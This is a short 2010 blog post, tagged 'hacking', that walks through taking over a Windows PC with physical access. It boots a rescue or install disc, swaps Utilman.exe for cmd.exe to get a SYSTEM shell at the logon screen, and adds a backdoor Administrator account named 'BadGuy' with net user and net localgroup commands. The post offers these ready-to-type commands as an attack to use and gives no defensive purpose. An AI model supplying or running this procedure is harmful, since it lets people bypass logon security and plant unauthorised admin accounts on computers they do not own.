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title: Gain Admin Access
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layout: default
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created: 2010-01-28 19:40:15 +0100
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updated: 2010-01-28 20:24:21 +0100
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toc: false
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tags:
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- know-how
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- software
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- windows
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- hacking
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To get access to a Windows PC as an *Administrator* user, there is a very brute security hole which you can use. The
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only thing is: You need physical access to the machine.
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The procedure is as follows:
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1. use a Linux Boot-CD (e.g. [BackTrack 4](http://www.backtrack-linux.org/) or the [System Rescue CD](http://www.sysresccd.org/Download))
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or a Windows Installation disc (of the same version as installed!)
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* **Linux Boot-CD:** (there's also a nice screencast over at [offensive-security.com](http://www.offensive-security.com/videos/owning-windows-vista-video/hacking-vista-with-backtrack.html))
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1. if not already, mount the Windows partition
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1. go to `Windows/system32/`
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1. rename the file `Utilman.exe` to `Utilman.exe.bak` and copy `cmd.exe` to `Utilman.exe`:
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# mv Utilman.exe Utilman.exe.bak
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# cp cmd.exe Utilman.exe
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1. reboot the machine into Windows
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* **Windows Boot-CD:**
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1. select your Windows version to "repair"
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1. if it asks whether you want to do use *System Rescue*, say "No"
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1. after it has given up trying to repair your system, click the small link *Advanced Recovery Options*
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1. select *Command Prompt*
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1. now go to your Windows drive, for me it was `D:`
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1. do a `cd \Windows\system32`
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1. now rename the file `Utilman.exe` to `Utilman.exe.bak` and copy `cmd.exe` to `Utilman.exe`:
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D:\>ren Utilman.exe Utilman.exe.bak
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D:\>copy cmd.exe Utilman.exe
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1. reboot the machine into the regular Windows
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1. on the Logon screen of Windows, press <kbd>Win</kbd>+<kbd>U</kbd> - this would normally open the [Utility Manager](http://www.microsoft.com/enable/training/windowsxp/openutilitymanager.aspx)
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aka. `Utilman.exe`, but now, the *Command Prompt* should show up
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1. you have `SYSTEM` rights, so you can easily add a new Administrator user:
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C:\>net user BadGuy GoodPassword /add
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C:\>net localgroup Administrators BadGuy /add
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This will add the user `BadGuy` with the password `GoodPassword` and make him a member of the *Administrators* group.
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1. Login with the newly created user `BadGuy`
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1. Remember to delete the fake `Utilman.exe` and rename `Utilman.exe.bak` back to `Utilman.exe`
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